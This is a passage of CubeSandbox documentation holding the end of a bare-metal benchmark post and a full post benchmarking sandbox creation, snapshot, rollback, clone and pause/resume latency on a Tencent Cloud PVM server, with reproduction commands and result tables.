260.7 ms | **3.6 ms** | Single sandbox startup ~**64 ms**; at 20-concurrent, wall ~**119 ms**, amortized just **5.9 ms/sandbox**; at 50-concurrent, wall ~**180 ms**, amortized just **3.6 ms/sandbox** — demonstrating excellent concurrency scaling. ### 4.4 Rollback **How it works:** calls `POST /sandboxes/{id}/rollback` on running sandboxes to restore memory and filesystem state in-place to the specified Snapshot, without recreating the sandbox. > **Snapshot ownership constraint:** CubeSandbox only allows a sandbox to roll back to a checkpoint **it created itself**. Therefore each concurrent sandbox independently `create_snapshot()` to set a restore point, then `rollback()` to its own checkpoint; afterwards each sandbox's snapshot is deleted. **Run:** (script: [`bench_rollback_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_rollback_concurrency.py)) ```bash cd examples/snapshot-rollback-clone # If this is a new terminal, set environment variables (same as the dependency installation section): export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 # The script provides single-tier mechanism; control concurrency from the command line: python bench_rollback_concurrency.py -c 1 -n 5 python bench_rollback_concurrency.py -c 5 -n 5 --no-header python bench_rollback_concurrency.py -c 10 -n 5 --no-header ``` **Results:** | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-rollback avg | |:----:|:----:|--------:|--------:|--------:|--------:|-----------------:| | 1 | 5 | 81.6 ms | 74.7 ms | 97.4 ms | 97.4 ms | 81.6 ms | | 5 | 5 | 189.6 ms | 161.8 ms | 243.2 ms | 243.2 ms | **37.9 ms** | | 10 | 5 | 266.1 ms | 236.1 ms | 305.1 ms | 305.1 ms | **26.6 ms** | > Single Rollback flow (`create_snapshot` → `rollback` to own checkpoint) ~**82 ms**; at 5-concurrent, batch wall ~**190 ms**, per-rollback amortized drops to ~**38 ms**; at 10-concurrent, batch wall ~**266 ms**, amortized drops to ~**27 ms/rollback**. > > Note: Because CubeSandbox requires sandboxes to roll back only to their own checkpoints, shared snapshots cannot be reused — each concurrent sandbox must independently complete the full "snapshot + rollback" flow. ### 4.5 Clone **How it works:** calls `POST /sandboxes/{id}/clone` to fork N new sandboxes from a **running** source sandbox, fully preserving the source's memory and filesystem state. > **Note:** disk files in this test were already in Page Cache; results exclude cold-read IO overhead. **Run:** (script: [`bench_clone_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_clone_concurrency.py)) ```bash cd examples/snapshot-rollback-clone # If this is a new terminal, set environment variables (same as the dependency installation section): export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 # The script provides single-scenario mechanism; control n/concurrency/rounds from the command line: python bench_clone_concurrency.py -n 1 -c 1 --rounds 5 python bench_clone_concurrency.py -n 100 -c 10 --rounds 2 --no-header python bench_clone_concurrency.py -n 100 -c 20 --rounds 2 --no-header python bench_clone_concurrency.py -n 100 -c 50 --rounds 2 --no-header ``` **Results:** | Scenario | n | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-clone avg | |:------------------|:---:|:----:|:----:|--------:|--------:|--------:|--------:|--------------:| | 1 sandbox, 1-concurrent | 1 | 1 | 5 | 219.6 ms | 213.6 ms | 234.7 ms | 234.7 ms | 219.6 ms | | 100 sandboxes, 10-concurrent | 100 | 10 | 2 | 870.4 ms | 860.6 ms | 880.2 ms | 880.2 ms | **8.7 ms** | | 100 sandboxes, 20-concurrent | 100 | 20 | 2 | 638.6 ms | 620.8 ms | 656.3 ms | 656.3 ms | **6.4 ms** | | 100 sandboxes, 50-concurrent | 100 | 50 | 2 | 540.9 ms | 491.3 ms | 590.5 ms | 590.5 ms | **5.4 ms** | Clone (full memory + filesystem state): single clone ~**220 ms**; for 100 sandboxes, increasing concurrency significantly reduces batch wall time (10-concurrent ~870 ms → 50-concurrent ~541 ms), per-clone amortized drops from **8.7 ms** to **5.4 ms/sandbox**. > **Counter-intuitive concurrency behavior:** 10-concurrent batch wall (870 ms) is actually **slower than** 20 / 50-concurrent (639 / 541 ms). This is because with a fixed n=100, 10-concurrent requires serializing 10 batches with accumulated scheduling overhead; at higher concurrency, fewer batches are needed and the source sandbox's memory pages are more effectively reused from Page Cache, making the overall operation faster. This shows that at this scale, Clone is not bottlenecked by concurrency — increasing concurrency is beneficial. ### 4.6 Pause / Resume **How it works:** Creates `concurrency` sandboxes, pauses all of them concurrently via `POST /sandboxes/{id}/pause`, then resumes all concurrently via `POST /sandboxes/{id}/resume`. Records wall time and per-sandbox amortized latency for both operations. > ⚠️ **Current implementation note:** Pause currently uses **full-memory-copy mode** — on pause, all anonymous memory pages of the sandbox are written to persistent storage. Latency scales linearly with sandbox memory size (~558 ms per sandbox at 2 GiB). A future release will upgrade to **soft-dirty incremental mode**, which only saves pages dirtied since the last checkpoint. For an idle sandbox this is expected to reduce pause latency by **80–90%** — down to ~**60 ms**, on par with Snapshot creation. **Run:** (script: [`bench_pause_resume_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_pause_resume_concurrency.py)) ```bash cd examples/snapshot-rollback-clone # If this is a new terminal, set environment variables (same as the dependency installation section): export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 # The script provides single-tier mechanism; control concurrency from the command line: python bench_pause_resume_concurrency.py -c 1 -n 5 python bench_pause_resume_concurrency.py -c 5 -n 5 --no-header python bench_pause_resume_concurrency.py -c 10 -n 5 --no-header ``` **Pause results:** | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-pause avg | |:----:|:----:|--------:|--------:|--------:|--------:|-------------:| | 1 | 5 | 558.4 ms | 530.8 ms | 590.3 ms | 590.3 ms | 558.4 ms | | 5 | 5 | 656.9 ms | 621.9 ms | 683.2 ms | 683.2 ms | **131.4 ms** | | 10 | 5 | 682.1 ms | 674.1 ms | 699.3 ms | 699.3 ms | **68.2 ms** | **Resume results:** | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-resume avg | |:----:|:----:|--------:|--------:|--------:|--------:|---------------:| | 1 | 5 | 41.8 ms | 18.7 ms | 65.1 ms | 65.1 ms | 41.8 ms | | 5 | 5 | 28.2 ms | 17.6 ms | 34.2 ms | 34.2 ms | **5.6 ms** | | 10 | 5 | 35.7 ms | 30.6 ms | 41.7 ms | 41.7 ms | **3.6 ms** | **Key findings:** * **Resume is extremely fast with excellent concurrency scaling:** single resume ~42 ms; at 10-concurrent, per-resume amortized just **3.6 ms/sandbox** * **Pause scales well concurrently:** in full-copy mode, wall time grows only moderately as concurrency increases (1-concurrent 558 ms → 10-concurrent 682 ms), per-pause amortized drops from 558 ms to **68 ms/sandbox** — reflecting good IO parallelism on bare-metal NVMe * **After soft-dirty mode lands:** pause latency is expected to drop to ~60 ms (on par with Snapshot creation), pushing per-pause at 10-concurrent into single-digit milliseconds > **full-copy → soft-dirty optimization:** The current full-copy mode writes up to 2 GiB of VM anonymous memory to disk on every pause, creating high IO pressure. The soft-dirty incremental mode tracks dirty pages via `/proc/PID/clear_refs` since the last checkpoint; pause only writes actually modified pages (typically a few MB for an idle sandbox), reducing pause latency by **80–90%** and significantly increasing high-concurrency throughput. *** ## Appendix: Benchmark Script Index All benchmark scripts used in this post are located in the repository directories: * **[`examples/cube-bench/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench)** — Template-based concurrent creation benchmark tool (Go) * **[`examples/snapshot-rollback-clone/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone)** — Snapshot / Rollback / Clone / Pause-Resume Python scripts --- --- url: >- https://cubesandbox.com/blog/posts/2026-06-03-cubesandbox-perf-benchmark-pvm.md description: >- Performance benchmark data for CubeSandbox on a Tencent Cloud SA9.4XLARGE32 standard CVM (PVM kernel), covering sandbox creation from template (cold-start latency, concurrency scaling, single-host density) and Snapshot operations (Snapshot creation, create-from-snapshot, Rollback, Clone, Pause/Resume). Each section includes the exact commands needed to reproduce the results. --- # CubeSandbox Core Operations Performance Benchmark Report (PVM Cloud Server) ## 1. Overview CubeSandbox is designed for AI Agent code execution, where ultra-fast cold-start and high concurrency are the two most critical metrics. This post presents performance benchmark data measured on a Tencent Cloud standard CVM (running a PVM kernel), split into two parts: * **Chapter 3: Create sandbox from Template** — cold-start latency, concurrency scaling, single-host deployment density * **Chapter 4: Snapshot operations** — Snapshot creation, create-from-snapshot, Rollback, Clone Every section includes the exact commands needed to reproduce the results on your own hardware. **Important: all benchmark numbers are highly dependent on the test environment and workload.** Contributing factors include (but are not limited to) host CPU, memory, IO performance, and sandbox internal workload (e.g. the more complex the program running inside the sandbox and the more dirty pages generated, the longer snapshot creation takes). Please evaluate against your own hardware and workload when planning deployments. Compared to the [bare-metal benchmark report](./2026-06-01-cubesandbox-perf-benchmark.md), this post uses a standard virtualized CVM (SA9.4XLARGE32) with fewer CPU cores and less memory, and can serve as a reference baseline for small-to-medium scale deployments. *** ## 2. Test Environment ### 2.1 Hardware | Item | Detail | |------|--------| | Machine | Tencent Cloud [Standard CVM SA9.4XLARGE32](https://cloud.tencent.com/document/product/213/11518) (available for purchase from the Tencent Cloud console) | | Availability Zone | — | | OS | OpenCloudOS 9.4 | | Kernel | `6.6.69-opencloudos9.cubesandbox.pvm.host` | | CPU Model | AMD EPYC 9K65 | | CPU Config | 1 Socket × 16 Core × 1 Thread = **16 logical cores** | | NUMA Nodes | 1 (node0: 0-15) | | Total Memory | **32 GiB** | | System Disk | `/dev/vda` 200 GiB Enhanced SSD cloud disk, formatted as XFS, mounted at `/` | > **SA9.4XLARGE32** is a Tencent Cloud ninth-generation standard instance powered by AMD EPYC 9K65 processors, suited for general-purpose computing. This post runs a PVM (Pagetable-based Virtual Machine) kernel that supports nested virtualization, enabling CubeSandbox to run on an ordinary cloud server. To reproduce the tests in this post, visit the [Tencent Cloud CVM purchase page](https://buy.cloud.tencent.com/cvm) to select the same model. > To install CubeSandbox, refer to the [Quick Start Guide](../../guide/quickstart.md). ### 2.2 Sandbox Spec and Template Creation All tests use sandboxes with the following spec: | Item | Detail | |------|--------| | Spec | 2 vCPU / 2 GiB memory | | Test Image | `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` | | Storage | CoW reflink (XFS, `/data/cubelet/storage/`) | | Memory Tracking | soft-dirty (`/proc/PID/clear_refs`) | Build the template before running any tests (use `cn` registry in China, `int` elsewhere): ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` After the build finishes, note the template ID: ```bash # List templates and grab the first tpl- prefixed ID cubemastercli tpl list ``` ### 2.3 Metric Definitions | Metric | Meaning | |--------|---------| | **avg** | Mean across all rounds | | **min** | Minimum observed | | **p95** | 95th percentile (95% of requests complete within this time) | | **max** | Maximum observed | | **wall** | End-to-end elapsed time for the entire batch (first request sent → last one done); used in concurrency scenarios | | **per** | Amortized per-operation time (wall ÷ number of operations in the batch); used in concurrency scenarios | All times are in **milliseconds (ms)**. A **warm-up** round is run before each scenario (results discarded) to eliminate page-cache cold-read noise. Concurrent test rounds run serially — no cross-round concurrency — to avoid mutual interference. *** ## 3. Create Sandbox from Template This chapter measures the end-to-end time to start a ready-to-use sandbox — calling `POST /sandboxes` (with `template_id`) until the sandbox reaches `running`. This is the most common usage pattern. ### 3.1 Setup and Verification **Step 1: Install the Python SDK and set environment variables** ```bash pip install e2b-code-interpreter export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 # any non-empty string for local deploys export CUBE_TEMPLATE_ID= # from cubemastercli tpl list export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem # mkcert certificate path ``` **Step 2: Run a Hello World to verify the environment** Before running any benchmarks, run the following script to confirm sandboxes can be created and execute code: ```python import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) print("✅ Environment verification passed — ready for benchmarking") ``` Save as `hello.py` and run: ```bash python hello.py ``` If you see `✅ Environment verification passed`, CubeSandbox is deployed correctly and you can proceed. If it errors, refer to the [Quick Start](../../guide/quickstart.md) to troubleshoot. ### 3.2 Cold-Start Latency and Concurrency Scaling Use the [`cube-bench`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench) tool to measure sandbox creation latency at different concurrency levels. `cube-bench` drives CubeAPI via Go goroutines and reports full percentile statistics. **Build (requires Go 1.21+):** ```bash cd examples/cube-bench make # output: ./bin/cube-bench ``` **Run:** ```bash # Set environment variables export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 export CUBE_TEMPLATE_ID= # 1-concurrent, 20 total (create then immediately delete) ./bin/cube-bench -c 1 -n 20 -w 3 # 10-concurrent, 200 total ./bin/cube-bench -c 10 -n 200 -w 3 # 20-concurrent, 300 total ./bin/cube-bench -c 20 -n 300 -w 3 ``` > `-w 3` runs 3 warm-up rounds whose results are discarded before measurement. **Results (Tencent Cloud SA9.4XLARGE32 PVM, 2 vCPU / 2 GiB sandbox):** | Concurrency | Requests | avg | min | P50 | P90 | P95 | P99 | max | |:----:|:------:|----:|----:|----:|----:|----:|----:|----:| | 1 | 20 | 66.7 ms | 55.9 ms | 64.5 ms | 77.5 ms | 78.2 ms | 80.2 ms | 80.2 ms | | 10 | 200 | 170.9 ms | 85.4 ms | 168.5 ms | 206.4 ms | 216.7 ms | 286.1 ms | 323.5 ms | | 20 | 300 | 364.6 ms | 116.5 ms | 356.2 ms | 459.0 ms | 521.4 ms | 673.8 ms | 744.0 ms | > Each tier is tested independently — all sandboxes are cleaned up and the resource pool is given time to recover between tiers to avoid interference. **100% success rate** across all tiers. **Key findings:** * Serial creation latency ~**67 ms** (min 55.9 / P95 78.2), extremely low and stable * At 10-concurrent, avg 171 ms — amortized per-sandbox just **17.1 ms**, showing strong concurrency scaling * At 20-concurrent, avg 365 ms — amortized per-sandbox **18.2 ms**, P99 674 ms reflects minor tail latency under queue pressure ### 3.3 Single-Host Deployment Density (Memory Overhead) CubeSandbox uses kernel sharing and Copy-on-Write (CoW) to compress its per-instance overhead to extremely low levels. This section measures net per-instance cost by "clearing the machine → launching sandboxes in batches → recording memory changes." > ⚠️⚠️⚠️ **Important Safety Warning** > > **Before each batch, always run `free -h` to confirm sufficient remaining memory. Launch only a small batch at a time, observe memory after each batch, and only proceed when safe — never launch too many at once!** Running out of memory triggers OOM Killer, which at minimum kills processes and at worst corrupts the running environment, requiring redeployment. Decide batch sizes based on your machine's actual available memory. **Step 1: Record the baseline (empty machine memory)** ```bash export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 export CUBE_TEMPLATE_ID= # Ensure no leftover sandboxes cubemastercli list # Record empty-machine memory usage free -h # Also record shim process count (should be 0) ps --no-headers -C containerd-shim-cube-rs | wc -l ``` **Step 2: Launch sandboxes in batches, record memory with `free -h` after each batch** Use `cube-bench` in `create-only` mode to create sandboxes and keep them alive: ```bash # Set environment variables (same as §3.2; re-export if you open a new terminal) export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 # any non-empty string for local deploys export CUBE_TEMPLATE_ID= # from cubemastercli tpl list ./bin/cube-bench -c 1 -n 1 -m create-only && free -m # cumulative: 1 ./bin/cube-bench -c 4 -n 4 -m create-only && free -m # cumulative: 5 ./bin/cube-bench -c 5 -n 5 -m create-only && free -m # cumulative: 10 ./bin/cube-bench -c 10 -n 10 -m create-only && free -m # cumulative: 20 ``` **Step 3: Calculate per-instance overhead** ``` Per-VM amortized overhead = (current used - baseline used) ÷ VM count ``` **Results (Tencent Cloud SA9.4XLARGE32 PVM, 2 vCPU / 2 GiB sandbox):** | Live Sandboxes | System Available (MB) | Per-VM Amortized Overhead | |:---------:|:------------------:|:-------------:| | 0 (baseline) | 25570 MB | — | | 1 | 25536 MB | **~34 MB** | | 5 | 25436 MB | **~27 MB** | | 10 | 25252 MB | **~32 MB** | | 20 | 24990 MB | **~29 MB** | > Measured per-VM amortized overhead is approximately **27–34 MB**. CoW on-demand allocation is clearly effective — a 2 GiB sandbox at idle uses only ~30 MB in practice. **Estimated single-host capacity (SA9.4XLARGE32, 32 GiB memory):** ``` Total memory: 32768 MB System baseline usage (measured): 7198 MB (= 32768 - 25570, from empty-machine available) Safety headroom reserved (10%): 3276 MB Available for sandboxes: 22294 MB (= 32768 - 7198 - 3276) Idle/light-load scenario (CoW on-demand allocation, ~30 MB amortized per sandbox): 22294 ÷ 30 ≈ 743 sandboxes Full-load scenario (each sandbox writes the full 2 GiB): 22294 ÷ (2048 + 30) ≈ 10 sandboxes ``` *** ## 4. Snapshot Operations Snapshot is a core CubeSandbox feature, supporting memory + filesystem snapshots on running sandboxes that can be restored near-instantly (Clone / Rollback). **Install dependencies:** ```bash cd examples/snapshot-rollback-clone pip install -r requirements.txt # installs the cubesandbox SDK # The following environment variables are prerequisites for all 4.x benchmark scripts; # export in each new shell (or write to env.sh and source it) export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= # from cubemastercli tpl list export CUBE_PROXY_NODE_IP= # use 127.0.0.1 when running on the CubeProxy host export CUBE_PROXY_PORT_HTTP=80 # CubeProxy listen port (default 80) ``` > Sections 4.1–4.5 below assume you have completed the above `export` in your current shell (scripts read these variables via `env.py`). Re-export if you open a new terminal. ### 4.1 Snapshot Creation vs Concurrency **How it works:** calls `POST /sandboxes/{id}/snapshots` on a running sandbox. N concurrent requests target N independent sandboxes simultaneously, measuring wall time until all snapshots complete. > CubeSandbox serializes snapshot requests on a **single sandbox** internally, so the concurrency test targets N distinct sandboxes (one snapshot request per sandbox), and the actual success count equals the concurrency. **Run:** (script: [`bench_snapshot_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_concurrency.py)) ```bash cd examples/snapshot-rollback-clone export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 python bench_snapshot_concurrency.py -c 1 -n 5 python bench_snapshot_concurrency.py -c 5 -n 5 --no-header python bench_snapshot_concurrency.py -c 10 -n 5 --no-header ``` **Results** (fresh sandboxes snapshotted as-is; measured dirty pages ~**8 MB**, confirmed by `PagemapAnon snapshot saved` in `/data/log/CubeVmm/vmm.log`; this is the sandbox baseline anonymous memory page size and is not a variable in this section): | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-snapshot avg | |:----:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 5 | 41.4 ms | 37.6 ms | 48.7 ms | 48.7 ms | 41.4 ms | | 5 | 5 | 58.2 ms | 51.0 ms | 66.1 ms | 66.1 ms | **11.6 ms** | | 10 | 5 | 114.1 ms | 66.2 ms | 285.2 ms | 285.2 ms | **11.4 ms** | Serial snapshot ~**41 ms**; at 5-concurrent, batch wall ~**58 ms**, per-snapshot amortized drops to ~**11.6 ms**; at 10-concurrent, batch wall ~**114 ms**, amortized further drops to ~**11.4 ms** — significant concurrency amortization. ### 4.2 Snapshot Creation vs Dirty Page Size **Background:** CubeSandbox uses the soft-dirty mechanism to save only memory pages modified since the last snapshot. Actual write volume = dirty page count × 4 KiB, typically far less than total sandbox memory (2 GiB). The test precisely controls dirty page size by pre-writing data to `/dev/shm` (tmpfs). The "Dirty Page" column shows actual bytes written as read from `/data/log/CubeVmm/vmm.log` — it differs from the theoretical write size due to Guest OS background activity. **Run:** (script: [`bench_snapshot_dirty.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_dirty.py)) ```bash cd examples/snapshot-rollback-clone export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 python bench_snapshot_dirty.py -d 0 -n 3 python bench_snapshot_dirty.py -d 10 -n 3 --no-header python bench_snapshot_dirty.py -d 50 -n 3 --no-header python bench_snapshot_dirty.py -d 100 -n 3 --no-header python bench_snapshot_dirty.py -d 200 -n 3 --no-header python bench_snapshot_dirty.py -d 500 -n 3 --no-header python bench_snapshot_dirty.py -d 800 -n 3 --no-header python bench_snapshot_dirty.py -d 1024 -n 3 --no-header ``` > Tests run in serial mode; one warm-up is discarded before each data point, then 3 measured runs are averaged. The "create sandbox avg" column shows the time to create a new sandbox from that snapshot, reflecting whether dirty page size affects restore speed. **Results:** | Write Size | Dirty Page | snapshot avg | snapshot min | snapshot p95 | snapshot max | create sandbox avg | create sandbox min | create sandbox p95 | create sandbox max | |:------:|----------:|------------:|------------:|------------:|------------:|------------------:|------------------:|------------------:|------------------:| | 0 MB | 8.3 MB | 42.1 ms | 37.6 ms | 45.9 ms | 45.9 ms | 71.6 ms | 65.4 ms | 77.7 ms | 77.7 ms | | 10 MB | 41.2 MB | 55.3 ms | 54.1 ms | 56.6 ms | 56.6 ms | 73.1 ms | 60.4 ms | 82.5 ms | 82.5 ms | | 50 MB | 122.6 MB | 67.7 ms | 66.5 ms | 69.6 ms | 69.6 ms | 70.3 ms | 63.9 ms | 81.4 ms | 81.4 ms | | 100 MB | 195.2 MB | 85.7 ms | 82.5 ms | 88.7 ms | 88.7 ms | 68.3 ms | 62.3 ms | 71.6 ms | 71.6 ms | | 200 MB | 296.8 MB | 100.9 ms | 98.5 ms | 102.6 ms | 102.6 ms | 65.9 ms | 62.7 ms | 71.2 ms | 71.2 ms | | 500 MB | 602.6 MB | 168.6 ms | 165.4 ms | 172.9 ms | 172.9 ms | 68.1 ms | 54.5 ms | 75.7 ms | 75.7 ms | | 800 MB | 908.3 MB | 215.8 ms | 212.1 ms | 217.6 ms | 217.6 ms | 68.1 ms | 60.9 ms | 79.1 ms | 79.1 ms | | 1024 MB | 1136.3 MB | 257.5 ms | 251.2 ms | 267.6 ms | 267.6 ms | 62.3 ms | 56.5 ms | 69.6 ms | 69.6 ms | **Key findings:** * **Snapshot creation time scales near-linearly with dirty page size**: baseline (8.3 MB dirty) ~42 ms, +~22 ms per 100 MB of additional dirty data, ~258 ms at 1024 MB * **Create-from-snapshot time is independent of dirty page size**: stable at **54–83 ms** regardless of snapshot size, because restore uses CoW (copy-on-write) on-demand loading and does not depend on dirty page size ### 4.3 Create Sandbox from Snapshot **How it works:** creates a snapshot first, then launches N sandboxes concurrently via `POST /sandboxes` (with `snapshot_id`), measuring end-to-end wall time until all sandboxes reach `running`. **Run:** (script: [`bench_create_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_create_concurrency.py)) ```bash cd examples/snapshot-rollback-clone export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 python bench_create_concurrency.py -c 1 -n 3 python bench_create_concurrency.py -c 10 -n 3 --no-header python bench_create_concurrency.py -c 20 -n 3 --no-header ``` **Results:** | Concurrency | n total | Rounds | wall avg | wall min | wall p95 | wall max | per-sandbox avg | |:----:|:------:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 1 | 3 | 66.7 ms | 65.8 ms | 68.3 ms | 68.3 ms | 66.7 ms | | 10 | 10 | 3 | 387.9 ms | 364.4 ms | 420.3 ms | 420.3 ms | **38.8 ms** | | 20 | 20 | 3 | 701.3 ms | 660.5 ms | 742.4 ms | 742.4 ms | **35.1 ms** | Single sandbox startup ~**67 ms**; at 10-concurrent, wall ~**388 ms**, amortized just **38.8 ms/sandbox**; at 20-concurrent, wall ~**701 ms**, amortized just **35.1 ms/sandbox** — demonstrating good concurrency scaling. ### 4.4 Rollback **How it works:** calls `POST /sandboxes/{id}/rollback` on running sandboxes to restore memory and filesystem state in-place to the specified Snapshot, without recreating the sandbox. > **Snapshot ownership constraint:** CubeSandbox only allows a sandbox to roll back to a checkpoint **it created itself**. Therefore each concurrent sandbox must independently complete the full "snapshot + rollback" flow. **Run:** (script: [`bench_rollback_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_rollback_concurrency.py)) ```bash cd examples/snapshot-rollback-clone export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 python bench_rollback_concurrency.py -c 1 -n 5 python bench_rollback_concurrency.py -c 5 -n 5 --no-header python bench_rollback_concurrency.py -c 10 -n 5 --no-header ``` **Results:** | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-rollback avg | |:----:|:----:|--------:|--------:|--------:|--------:|-----------------:| | 1 | 5 | 90.0 ms | 82.0 ms | 98.3 ms | 98.3 ms | 90.0 ms | | 5 | 5 | 325.5 ms | 322.9 ms | 329.4 ms | 329.4 ms | **65.1 ms** | | 10 | 5 | 821.4 ms | 778.7 ms | 858.1 ms | 858.1 ms | **82.1 ms** | > Single Rollback flow ~**90 ms**; at 5-concurrent, batch wall ~**326 ms**, per-rollback amortized drops to ~**65 ms**; at 10-concurrent, batch wall ~**821 ms**, amortized ~**82 ms/rollback**. > > Note: Because CubeSandbox requires sandboxes to roll back only to their own checkpoints, shared snapshots cannot be reused — each concurrent sandbox must independently complete the full "snapshot + rollback" flow. ### 4.5 Clone **How it works:** calls `POST /sandboxes/{id}/clone` to fork N new sandboxes from a **running** source sandbox, fully preserving the source's memory and filesystem state (including dirty pages). > **Note:** disk files in this test were already in Page Cache; results exclude cold-read IO overhead. **Run:** (script: [`bench_clone_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_clone_concurrency.py)) ```bash cd examples/snapshot-rollback-clone export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 python bench_clone_concurrency.py -n 1 -c 1 --rounds 5 python bench_clone_concurrency.py -n 10 -c 5 --rounds 3 --no-header python bench_clone_concurrency.py -n 20 -c 10 --rounds 3 --no-header ``` **Results (source sandbox dirty pages ~10 MB):** | Scenario | n | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-clone avg | |:------------------|:---:|:----:|:----:|--------:|--------:|--------:|--------:|--------------:| | 1 sandbox, 1-concurrent | 1 | 1 | 5 | 270.6 ms | 260.8 ms | 280.5 ms | 280.5 ms | 270.6 ms | | 10 sandboxes, 5-concurrent | 10 | 5 | 3 | 541.6 ms | 522.9 ms | 557.7 ms | 557.7 ms | **54.2 ms** | | 20 sandboxes, 10-concurrent | 20 | 10 | 3 | 789.7 ms | 757.2 ms | 815.3 ms | 815.3 ms | **39.5 ms** | Single sandbox clone ~**271 ms**; 10 sandboxes at 5-concurrent, batch wall ~**542 ms**, per-clone amortized drops to ~**54 ms**; 20 sandboxes at 10-concurrent, batch wall ~**790 ms**, amortized further drops to ~**40 ms/sandbox** — significant concurrency amortization. ### 4.6 Pause / Resume **How it works:** Creates `concurrency` sandboxes, pauses all of them concurrently via `POST /sandboxes/{id}/pause`, then resumes all concurrently via `POST /sandboxes/{id}/resume`. Records wall time and per-sandbox amortized latency for both operations. > ⚠️ **Current implementation note:** Pause currently uses **full-memory-copy mode** — on pause, all anonymous memory pages of the sandbox are written to persistent storage. Latency scales linearly with sandbox memory size (~371 ms per sandbox at 2 GiB on PVM). A future release will upgrade to **soft-dirty incremental mode**, which only saves pages dirtied since the last checkpoint. For an idle sandbox this is expected to reduce pause latency by **80–90%** — significantly. **Run:** (script: [`bench_pause_resume_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_pause_resume_concurrency.py)) ```bash cd examples/snapshot-rollback-clone export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 python bench_pause_resume_concurrency.py -c 1 -n 5 python bench_pause_resume_concurrency.py -c 10 -n 5 --no-header ``` **Pause results:** | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-pause avg | |:----:|:----:|--------:|--------:|--------:|--------:|-------------:| | 1 | 5 | 370.8 ms | 351.0 ms | 384.0 ms | 384.0 ms | 370.8 ms | | 10 | 5 | 1586.0 ms | 1529.5 ms | 1679.8 ms | 1679.8 ms | **158.6 ms** | **Resume results:** | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-resume avg | |:----:|:----:|--------:|--------:|--------:|--------:|---------------:| | 1 | 5 | 18.9 ms | 9.5 ms | 32.8 ms | 32.8 ms | 18.9 ms | | 10 | 5 | 26.6 ms | 19.3 ms | 39.9 ms | 39.9 ms | **2.7 ms** | **Key findings:** * **Resume is extremely fast with excellent concurrency scaling:** single resume ~19 ms; at 10-concurrent, per-resume amortized just **2.7 ms/sandbox** * **Pause is the current bottleneck:** in full-copy mode, single pause ~371 ms, 10-concurrent per-pause amortized **158.6 ms/sandbox** * **After soft-dirty mode lands:** pause latency is expected to drop significantly, with 10-concurrent per-pause falling into single-digit milliseconds > **full-copy → soft-dirty optimization:** The current full-copy mode writes up to 2 GiB of VM anonymous memory to disk on every pause, creating high IO pressure. The soft-dirty incremental mode tracks dirty pages via `/proc/PID/clear_refs` since the last checkpoint; pause only writes actually modified pages (typically a few MB for an idle sandbox), reducing pause latency by **80–90%** and significantly increasing high-concurrency throughput. *** ## Appendix: Benchmark Script Index All benchmark scripts used in this post are located in the repository directories: * 